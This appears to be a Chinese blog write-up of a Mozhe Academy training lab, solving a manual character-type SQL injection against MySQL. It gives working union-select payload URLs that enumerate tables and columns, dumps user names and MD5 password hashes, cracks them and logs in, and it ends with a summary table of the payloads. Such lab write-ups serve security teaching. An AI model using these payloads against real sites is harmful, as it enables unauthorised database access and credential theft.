墨者学院05 SQL手工注入漏洞测试(MySQL数据库-字符型)

问题描述

题目链接:SQL手工注入漏洞测试(MySQL数据库-字符型)

(●'◡'●)叕见面了,熟悉的页面,熟悉的用户登录框,熟悉的平台停机维护通知滚动链接~

墨者学院05 SQL手工注入漏洞测试(MySQL数据库-字符型)_第1张图片

 这些就是已知的条件啦~


解决方案:

参考1:11-Web安全—基于SQL Server的联合注入——for xml path_songly_的博客-CSDN博客

参考2:评论区corrot-X大佬的wp

工具:无

1 判断注入点

测试停机维护的网页是否存在字符型注入点,在url后加一个用于闭合的单引号就可以~

http://124.70.91.203:40601/new_list.php?id=tingjigonggao'

网页报错,这个就是明显的注入点啦~

2 判断字段数

其次,判断当前数据库的字段数(列数),在指令前增加单引号闭合,指令后增加双短线注释就可以~

http://124.70.91.203:40601/new_list.php?id=tingjigonggao' order by 1 --+

网页正常,说明order by 1是正确指令,我们换成2、3、4逐渐尝试,发现输出是一致的,说明至少是存在4个字段的~

墨者学院05 SQL手工注入漏洞测试(MySQL数据库-字符型)_第2张图片

直到输入order by 5时,页面报错,说明语句执行失败,当前数据库的字段仅有4列~

3 判断回显字段

http://124.70.91.203:40601/new_list.php?id=-tingjigonggao' union select 1,2,3,4 --+

通常数字1,2,3,4哪个数字会在页面有回显,就说明哪个字段注入就是最方便的~(注意id=-tingjigonggao,此处报错语句是必需的,否则页面无法回显输出结果~)

根据执行结果,2和3是较为明显的注入字段~

4 查询数据库名称

在字段2或3处输入 查询数据库名称的命令:database()~

http://124.70.91.203:40601/new_list.php?id=-tingjigonggao' union select 1,2,database(),4 --+

 执行结果,该数据库的名称为:mozhe_discuz_stormgroup

5 查询数据库表名

在字段2或3处输入 查询数据库表名 的命令~

select group_concat(table_name) from information_schema.tables where table_schema= '库名'

{在数据库mozhe_discuz_stormgroup(table_schema= 'mozhe_discuz_stormgroup')中查询所有数字库表信息(information_schema.tables数据表保存了MySQL服务器所有数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等,详见information_schema表),合并输出其中的数据表名group_concat(table_name)~}

http://124.70.91.203:40601/new_list.php?id=-tingjigonggao' union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema ='mozhe_discuz_stormgroup' --+

输入结果如下图所示,表名有两个:(1)notice (2)stormgroup_member

6 查询字段名称

在字段2或3处输入 查询字段名 的命令~

union select group_concat(column_name) from information_schema.columns where table_name='表名'

{在所有数字库表信息information_schema.columns中查询数据库'表名'table_name,合并输出其中的字段名column_name~}

http://124.70.91.203:40601/new_list.php?id=-tingjigonggao 'union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name='stormgroup_member' --+

输入结果如下图所示,字段名有四个:(1)id (2)name (3)password(4)status

7 查询字段内容

在字段2和3处输入 查询字段内容 的命令~

select 字段名 from 表名

http://124.70.91.203:40601/new_list.php?id=-tingjigonggao'union select 1,name,password,4 from mozhe_discuz_stormgroup.stormgroup_member limit 0,1 --+
http://124.70.91.203:40601/new_list.php?id=-tingjigonggao'union select 1,2,group_concat(name,'~',password),4 from stormgroup_member --+

第一句输出结果如下图所示,计划会输出两行语句,但是网页就只能显示两条数据(第一个用户的name与password)~

第二句输出结果如下图所示,采用group_concat联合输出了name与password~,就可以看到所有的内容啦~

账号:mozhe

密码1:356f589a7df439f6f744ff19bb8092c0(MD5加密)

密码2:3a28f22e1bf66178aa8e71c6c82880c1(MD5加密)

8 md5解密

免费无注册解密网站:Cmd5 - MD5 Online ,MD5 Decryption, MD5 Hash Decoder

密码1:dsan13

密码2:655611

返回最初的登录页面,输入用户名:mozhe、密码:655611,登录结果如下图~

墨者学院05 SQL手工注入漏洞测试(MySQL数据库-字符型)_第3张图片

KEY:mozhe02ea56ad6fae091bb3388279b15

总结:

(1)整个MySQL数据库-字符型显错注入流程使用到以下语句~

语句 功能

'

判断注入点
'order by 5 --+ 判断字段数
id=-1'union select 1,2,3,4 --+ 判断回显字段
id=-1'union select 1,database(),3,4 --+ 查询数据库名称
id=-1'union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema ='库名' --+ 查询数据库表名
id=-1'union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name='表名' --+ 查询字段名称
id=-1'union select 1,2,group_concat(字段名1,'~',字段名2),4 from 表名 --+ 查询字段内容

(2)若对于SQL注入类题目有兴趣,也可移步这篇杂烩博文~CTF 总结03:SQL注入

码字不易,若有所帮助,可以点赞支持一下博主嘛?感谢~(●'◡'●)

话说最近手工注入练得人都麻了...水这么多文能召唤龙王嘛?::>_<::

你可能感兴趣的:(#,墨者学院,数据库,mysql,sql)